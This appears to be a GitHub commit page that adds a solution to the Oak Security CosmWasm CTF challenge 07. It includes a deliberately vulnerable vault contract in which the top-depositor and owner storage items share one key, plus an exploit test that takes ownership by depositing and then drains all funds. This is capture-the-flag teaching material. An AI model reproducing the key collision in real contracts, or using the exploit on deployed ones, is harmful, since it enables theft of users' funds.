Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 0c1e0a4

Browse files
committed
add exploit for cosmwasm ctf 07
1 parent b02e307 commit 0c1e0a4

File tree

14 files changed

+508
-6
lines changed

14 files changed

+508
-6
lines changed

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -614,7 +614,7 @@ Note
614614
| [Oak Security CosmWasm CTF: 3. Laevateinn](src/OakSecurityCosmWasmCTF/03-Laevateinn/) | address validation, uppercase |
615615
| [Oak Security CosmWasm CTF: 4. Gram](src/OakSecurityCosmWasmCTF/04-Gram/) | invariant, rounding error |
616616
| [Oak Security CosmWasm CTF: 5. Draupnir](src/OakSecurityCosmWasmCTF/05-Draupnir/) | missing return |
617-
| Oak Security CosmWasm CTF: 6. Hofund | |
617+
| [Oak Security CosmWasm CTF: 6. Hofund](src/OakSecurityCosmWasmCTF/06-Hofund/) | flash loan, governance |
618618
| Oak Security CosmWasm CTF: 7. Tyrfing | |
619619
| Oak Security CosmWasm CTF: 8. Gjallarhorn | |
620620
| Oak Security CosmWasm CTF: 9. Brisingamen | |

src/OakSecurityCosmWasmCTF/06-Hofund/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@ You can use these tests as a base to create your exploit Proof of Concept.
2222

2323
**:house: Base scenario:**
2424
- The contract is newly instantiated
25+
- Flash loans are available
2526

2627
**:star: Goal for the challenge:**
2728
- Demonstrate how a proposer can obtain the owner role without controlling 1/3 of the total supply.
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
[alias]
2+
wasm = "build --release --lib --target wasm32-unknown-unknown"
3+
unit-test = "test --lib"
4+
schema = "run --bin schema"
Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
[package]
2+
name = "oaksecurity-cosmwasm-ctf-07"
3+
version = "0.1.0"
4+
authors = ["Oak Security <[email protected]>"]
5+
edition = "2021"
6+
7+
exclude = [
8+
# Those files are rust-optimizer artifacts. You might want to commit them for convenience but they should not be part of the source code publication.
9+
"contract.wasm",
10+
"hash.txt",
11+
]
12+
13+
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
14+
15+
[lib]
16+
crate-type = ["cdylib", "rlib"]
17+
18+
[profile.release]
19+
opt-level = 3
20+
debug = false
21+
rpath = false
22+
lto = true
23+
debug-assertions = false
24+
codegen-units = 1
25+
panic = 'abort'
26+
incremental = false
27+
overflow-checks = true
28+
29+
[features]
30+
# for more explicit tests, cargo test --features=backtraces
31+
backtraces = ["cosmwasm-std/backtraces"]
32+
# use library feature to disable all instantiate/execute/query exports
33+
library = []
34+
35+
[package.metadata.scripts]
36+
optimize = """docker run --rm -v "$(pwd)":/code \
37+
--mount type=volume,source="$(basename "$(pwd)")_cache",target=/code/target \
38+
--mount type=volume,source=registry_cache,target=/usr/local/cargo/registry \
39+
cosmwasm/rust-optimizer:0.12.10
40+
"""
41+
42+
[dependencies]
43+
cosmwasm-schema = "1.1.3"
44+
cosmwasm-std = "1.1.3"
45+
cosmwasm-storage = "1.1.3"
46+
cw-storage-plus = "1.0.1"
47+
cw2 = "1.0.1"
48+
cw-utils = "1.0.1"
49+
schemars = "0.8.10"
50+
serde = { version = "1.0.145", default-features = false, features = ["derive"] }
51+
thiserror = { version = "1.0.31" }
52+
53+
[dev-dependencies]
54+
cw-multi-test = "0.16.2"
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# Awesomwasm 2023 CTF
2+
3+
## Challenge 07: *Tyrfing*
4+
5+
Simplified vault that accounts for the top depositor!
6+
The `owner` can set the threshold to become top depositor.
7+
8+
### Execute entry points:
9+
```rust
10+
pub enum ExecuteMsg {
11+
Deposit {},
12+
Withdraw { amount: Uint128 },
13+
OwnerAction { msg: CosmosMsg },
14+
UpdateConfig { new_threshold: Uint128 },
15+
}
16+
```
17+
18+
Please check the challenge's [integration_tests](./src/integration_tests.rs) for expected usage examples.
19+
You can use these tests as a base to create your exploit Proof of Concept.
20+
21+
**:house: Base scenario:**
22+
- The contract is newly instantiated.
23+
- `USER1` and `USER2` deposit 10_000 tokens each
24+
- The owner role is assigned to the `ADMIN` address
25+
26+
**:star: Goal for the challenge:**
27+
- Demonstrate how an unprivileged user can drain all the contract's funds.
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
fn main() {}
Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
#[cfg(not(feature = "library"))]
2+
use cosmwasm_std::{
3+
coin, entry_point, to_binary, Addr, BankMsg, Binary, CosmosMsg, Deps, DepsMut, Env,
4+
MessageInfo, Response, StdResult, Uint128,
5+
};
6+
use cw_storage_plus::Item;
7+
8+
use crate::error::ContractError;
9+
use crate::msg::{ConfigQueryResponse, ExecuteMsg, InstantiateMsg, QueryMsg};
10+
use crate::state::{BALANCES, OWNER, THRESHOLD};
11+
use cw_utils::must_pay;
12+
13+
pub const DENOM: &str = "uawesome";
14+
pub const TOP_DEPOSITOR: Item<Addr> = Item::new("address");
15+
16+
#[cfg_attr(not(feature = "library"), entry_point)]
17+
pub fn instantiate(
18+
deps: DepsMut,
19+
_env: Env,
20+
_info: MessageInfo,
21+
msg: InstantiateMsg,
22+
) -> Result<Response, ContractError> {
23+
OWNER.save(deps.storage, &deps.api.addr_validate(&msg.owner)?)?;
24+
25+
THRESHOLD.save(deps.storage, &msg.threshold)?;
26+
27+
Ok(Response::new()
28+
.add_attribute("action", "instantiate")
29+
.add_attribute("owner", msg.owner))
30+
}
31+
32+
#[cfg_attr(not(feature = "library"), entry_point)]
33+
pub fn execute(
34+
deps: DepsMut,
35+
_env: Env,
36+
info: MessageInfo,
37+
msg: ExecuteMsg,
38+
) -> Result<Response, ContractError> {
39+
match msg {
40+
ExecuteMsg::Deposit {} => deposit(deps, info),
41+
ExecuteMsg::Withdraw { amount } => withdraw(deps, info, amount),
42+
ExecuteMsg::OwnerAction { msg } => owner_action(deps, info, msg),
43+
ExecuteMsg::UpdateConfig { new_threshold } => update_config(deps, info, new_threshold),
44+
}
45+
}
46+
47+
/// Deposit entry point for user
48+
pub fn deposit(deps: DepsMut, info: MessageInfo) -> Result<Response, ContractError> {
49+
// validate denom
50+
let amount = must_pay(&info, DENOM).unwrap();
51+
52+
// increase total stake
53+
let mut user_balance = BALANCES
54+
.load(deps.storage, &info.sender)
55+
.unwrap_or_default();
56+
user_balance += amount;
57+
58+
BALANCES.save(deps.storage, &info.sender, &user_balance)?;
59+
60+
let current_threshold = THRESHOLD.load(deps.storage)?;
61+
62+
if user_balance > current_threshold {
63+
THRESHOLD.save(deps.storage, &user_balance)?;
64+
TOP_DEPOSITOR.save(deps.storage, &info.sender)?;
65+
}
66+
67+
Ok(Response::new()
68+
.add_attribute("action", "deposit")
69+
.add_attribute("user", info.sender)
70+
.add_attribute("amount", amount))
71+
}
72+
73+
/// Withdrawal entry point for user
74+
pub fn withdraw(
75+
deps: DepsMut,
76+
info: MessageInfo,
77+
amount: Uint128,
78+
) -> Result<Response, ContractError> {
79+
// decrease total stake
80+
let mut user_balance = BALANCES.load(deps.storage, &info.sender)?;
81+
82+
// Cosmwasm's Uint128 checks math operations
83+
user_balance -= amount;
84+
85+
BALANCES.save(deps.storage, &info.sender, &user_balance)?;
86+
87+
let msg = BankMsg::Send {
88+
to_address: info.sender.to_string(),
89+
amount: vec![coin(amount.u128(), DENOM)],
90+
};
91+
92+
Ok(Response::new()
93+
.add_attribute("action", "withdraw")
94+
.add_attribute("user", info.sender)
95+
.add_attribute("amount", amount)
96+
.add_message(msg))
97+
}
98+
99+
/// Entry point for owner to update threshold
100+
pub fn update_config(
101+
deps: DepsMut,
102+
info: MessageInfo,
103+
new_threshold: Uint128,
104+
) -> Result<Response, ContractError> {
105+
let owner = OWNER.load(deps.storage)?;
106+
107+
if owner != info.sender {
108+
return Err(ContractError::Unauthorized {});
109+
}
110+
111+
THRESHOLD.save(deps.storage, &new_threshold)?;
112+
113+
Ok(Response::new()
114+
.add_attribute("action", "Update config")
115+
.add_attribute("threshold", new_threshold))
116+
}
117+
118+
/// Entry point for owner to execute arbitrary Cosmos messages
119+
pub fn owner_action(
120+
deps: DepsMut,
121+
info: MessageInfo,
122+
msg: CosmosMsg,
123+
) -> Result<Response, ContractError> {
124+
let owner = OWNER.load(deps.storage)?;
125+
126+
if owner != info.sender {
127+
return Err(ContractError::Unauthorized {});
128+
}
129+
130+
Ok(Response::new()
131+
.add_attribute("action", "owner_action")
132+
.add_message(msg))
133+
}
134+
135+
#[cfg_attr(not(feature = "library"), entry_point)]
136+
pub fn query(deps: Deps, _env: Env, msg: QueryMsg) -> StdResult<Binary> {
137+
match msg {
138+
QueryMsg::Config {} => to_binary(&query_config(deps)?),
139+
QueryMsg::UserBalance { address } => to_binary(&query_balance(deps, address)?),
140+
QueryMsg::Top {} => to_binary(&query_top_depositor(deps)?),
141+
}
142+
}
143+
144+
/// Returns balance for specified address
145+
pub fn query_balance(deps: Deps, address: String) -> StdResult<Uint128> {
146+
let address = deps.api.addr_validate(&address)?;
147+
BALANCES.load(deps.storage, &address)
148+
}
149+
150+
/// Returns contract configuration
151+
pub fn query_config(deps: Deps) -> StdResult<ConfigQueryResponse> {
152+
let owner = OWNER.load(deps.storage)?;
153+
let threshold = THRESHOLD.load(deps.storage)?;
154+
155+
Ok(ConfigQueryResponse { owner, threshold })
156+
}
157+
158+
/// Returns the top depositor
159+
pub fn query_top_depositor(deps: Deps) -> StdResult<Addr> {
160+
TOP_DEPOSITOR.load(deps.storage)
161+
}
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
use cosmwasm_std::StdError;
2+
use thiserror::Error;
3+
4+
#[derive(Error, Debug)]
5+
pub enum ContractError {
6+
#[error("{0}")]
7+
Std(#[from] StdError),
8+
9+
#[error("Unauthorized")]
10+
Unauthorized {},
11+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
#[cfg(test)]
2+
pub mod exploit {
3+
use crate::{
4+
contract::DENOM,
5+
integration_tests::tests::{base_scenario, PLAYER},
6+
msg::{ConfigQueryResponse, ExecuteMsg, QueryMsg},
7+
};
8+
use cosmwasm_std::{coin, Addr, BankMsg, CosmosMsg, Uint128};
9+
use cw_multi_test::{Executor};
10+
11+
#[test]
12+
fn exploit() {
13+
let (mut app, contract_addr) = base_scenario();
14+
15+
let player = Addr::unchecked(PLAYER);
16+
17+
// the key of TOP_DEPOSITOR: "address"
18+
// the key of OWNER: "address"
19+
// so we can overwrite the OWNER by setting the TOP_DEPOSITOR
20+
app.execute_contract(
21+
player.clone(),
22+
contract_addr.clone(),
23+
&ExecuteMsg::Deposit {},
24+
&[coin(120, DENOM)],
25+
)
26+
.unwrap();
27+
28+
let owner: Addr = app
29+
.wrap()
30+
.query_wasm_smart::<ConfigQueryResponse>(contract_addr.clone(), &QueryMsg::Config {})
31+
.unwrap()
32+
.owner;
33+
assert_eq!(owner, PLAYER);
34+
35+
let balance = app
36+
.wrap()
37+
.query_balance(contract_addr.clone(), DENOM)
38+
.unwrap();
39+
assert_eq!(balance.amount, Uint128::new(330));
40+
41+
let msg = CosmosMsg::Bank(BankMsg::Send {
42+
to_address: player.to_string(),
43+
amount: vec![balance],
44+
});
45+
46+
app.execute_contract(
47+
Addr::unchecked(PLAYER),
48+
contract_addr.clone(),
49+
&ExecuteMsg::OwnerAction { msg },
50+
&[],
51+
)
52+
.unwrap();
53+
54+
let balance = app
55+
.wrap()
56+
.query_balance(contract_addr.clone(), DENOM)
57+
.unwrap();
58+
assert_eq!(balance.amount, Uint128::zero());
59+
}
60+
}

0 commit comments

Comments
 (0)